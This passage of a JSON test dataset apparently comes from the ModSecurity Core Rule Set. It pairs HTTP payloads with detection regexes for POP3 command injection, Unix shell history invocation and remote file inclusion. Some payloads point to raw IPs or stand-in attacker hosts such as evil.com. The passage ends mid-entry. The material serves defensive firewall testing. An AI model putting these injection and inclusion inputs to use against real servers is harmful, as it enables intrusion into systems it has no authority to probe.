"transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932321", "test_description": "POP3 CAPA Command Injection negative test 2" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=Hi%20lestat!\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\r\\n.*?\\b(?:(?:QUI|STA|RSE)T|NOOP|CAPA)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932321", "test_description": "POP3 STAT Command Injection negative test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "attackme=%0aSeriously%2C%20noop" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\r\\n.*?\\b(?:(?:QUI|STA|RSE)T|NOOP|CAPA)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932321", "test_description": "POP3 NOOP Command injection negative test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=Someone%20bought%20this%20nice%20lerset\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\r\\n.*?\\b(?:(?:QUI|STA|RSE)T|NOOP|CAPA)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932321", "test_description": "POP3 RSET Command Injection negative test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "rce=!1" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "!(?:\\d|!)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932331", "test_description": "Unix shell history invocation: absolute position" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "rce=!!" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "!(?:\\d|!)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932331", "test_description": "Unix shell history invocation: last command" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "src=http://66.240.183.75/crash.php" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(file|ftps?|https?|ssh)://(?:\\[?[a-f0-9]+:[a-f0-9:]+\\]?|\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931100", "test_description": "Remote File Inclusion Attack (931100) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "src=https://[2001:41d0:701:1100::29c8]/gecko.php" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(file|ftps?|https?|ssh)://(?:\\[?[a-f0-9]+:[a-f0-9:]+\\]?|\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931100", "test_description": "Remote File Inclusion Attack (931100)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "ftp%3A%2F%2F1.1.1.1" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(file|ftps?|https?|ssh)://(?:\\[?[a-f0-9]+:[a-f0-9:]+\\]?|\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931100", "test_description": "Remote File Inclusion Attack (931100) - POST XML" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "src=https://2001:41d0:701:1100::29c8/gecko.php" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)^(file|ftps?|https?|ssh)://(?:\\[?[a-f0-9]+:[a-f0-9:]+\\]?|\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931100", "test_description": "Remote File Inclusion Attack (931100) - This form should not exist per RFC 2732 but may occur due to non-standard implementation." } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "_CONF[path]=https://foo.bar" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "QUERY_STRING", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\binclude\\s*\\([^)]*|mosConfig_absolute_path|_CONF\\[path\\]|_SERVER\\[DOCUMENT_ROOT\\]|GALLERY_BASEDIR|path\\[docroot\\]|appserv_root|config\\[root_dir\\])=(?:file|ftps?|https?)://", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931110", "test_description": "Remote File Inclusion Attack (931110) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "mosConfig_absolute_path=https://foo.bar" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "QUERY_STRING", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\binclude\\s*\\([^)]*|mosConfig_absolute_path|_CONF\\[path\\]|_SERVER\\[DOCUMENT_ROOT\\]|GALLERY_BASEDIR|path\\[docroot\\]|appserv_root|config\\[root_dir\\])=(?:file|ftps?|https?)://", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931110", "test_description": "Remote File Inclusion Attack (931110) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "_CONF[path]=https://foo.bar" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "QUERY_STRING", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\binclude\\s*\\([^)]*|mosConfig_absolute_path|_CONF\\[path\\]|_SERVER\\[DOCUMENT_ROOT\\]|GALLERY_BASEDIR|path\\[docroot\\]|appserv_root|config\\[root_dir\\])=(?:file|ftps?|https?)://", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931110", "test_description": "Remote File Inclusion Attack (931110) from old modsec regressions" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=file?" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?i:file|ftps?|https?).*?\\?+$", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931120", "test_description": "Remote File Inclusion Attack (931120)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=ftp?" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?i:file|ftps?|https?).*?\\?+$", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931120", "test_description": "Remote File Inclusion Attack (931120)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=ftps?" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?i:file|ftps?|https?).*?\\?+$", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931120", "test_description": "Remote File Inclusion Attack (931120)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=http?" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?i:file|ftps?|https?).*?\\?+$", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931120", "test_description": "Remote File Inclusion Attack (931120)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=https?" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?i:file|ftps?|https?).*?\\?+$", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931120", "test_description": "Remote File Inclusion Attack (931120)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=https://foo.bar?" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?i:file|ftps?|https?).*?\\?+$", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931120", "test_description": "Remote File Inclusion Attack (931120)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=https://foo.bar?foo=bar" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?i:file|ftps?|https?).*?\\?+$", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931120", "test_description": "Remote File Inclusion Attack (931120)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=https://foo.bar&foo=bar" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?i:file|ftps?|https?).*?\\?+$", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931120", "test_description": "Remote File Inclusion Attack (931120)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=file://foo.bar" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Remote File Inclusion Attack (931130)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=ftp://foo.bar" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Remote File Inclusion Attack (931130)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=ftps://foo.bar" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Remote File Inclusion Attack (931130)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=http://foo.bar" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Remote File Inclusion Attack (931130)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=https://foo.bar" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Remote File Inclusion Attack (931130)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=https://evilexample.com/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Partial match" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=https://example.com.evil.com/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Mismatching domains" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=https://example.com:1234/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Mismatching ports" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=https://example.com/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Matching hosts" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=https://example.com:1234/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:(?:url|jar):)?(?:a(?:cap|f[ps]|ttachment)|b(?:eshare|itcoin|lob)|c(?:a(?:llto|p)|id|vs|ompress.(?:zlib|bzip2))|d(?:a(?:v|ta)|ict|n(?:s|tp))|e(?:d2k|xpect)|f(?:(?:ee)?d|i(?:le|nger|sh)|tps?)|g(?:it|o(?:pher)?|lob)|h(?:323|ttps?)|i(?:ax|cap|(?:ma|p)ps?|rc[6s]?)|ja(?:bbe)?r|l(?:dap[is]?|ocal_file)|m(?:a(?:ilto|ven)|ms|umble)|n(?:e(?:tdoc|ws)|fs|ntps?)|ogg|p(?:aparazzi|h(?:ar|p)|op(?:2|3s?)|r(?:es|oxy)|syc)|r(?:mi|sync|tm(?:f?p)?|ar)|s(?:3|ftp|ips?|m(?:[bs]|tps?)|n(?:ews|mp)|sh(?:2(?:.(?:s(?:hell|(?:ft|c)p)|exec|tunnel))?)?|vn(?:\\+ssh)?)|t(?:e(?:amspeak|lnet)|ftp|urns?)|u(?:dp|nreal|t2004)|v(?:entrilo|iew-source|nc)|w(?:ebcal|ss?)|x(?:mpp|ri)|zip)://?(?:[^@]+@)?([^/]*)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rfi" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "931130", "test_description": "Matching hosts and ports" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=http://www.example.com/some/path" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": 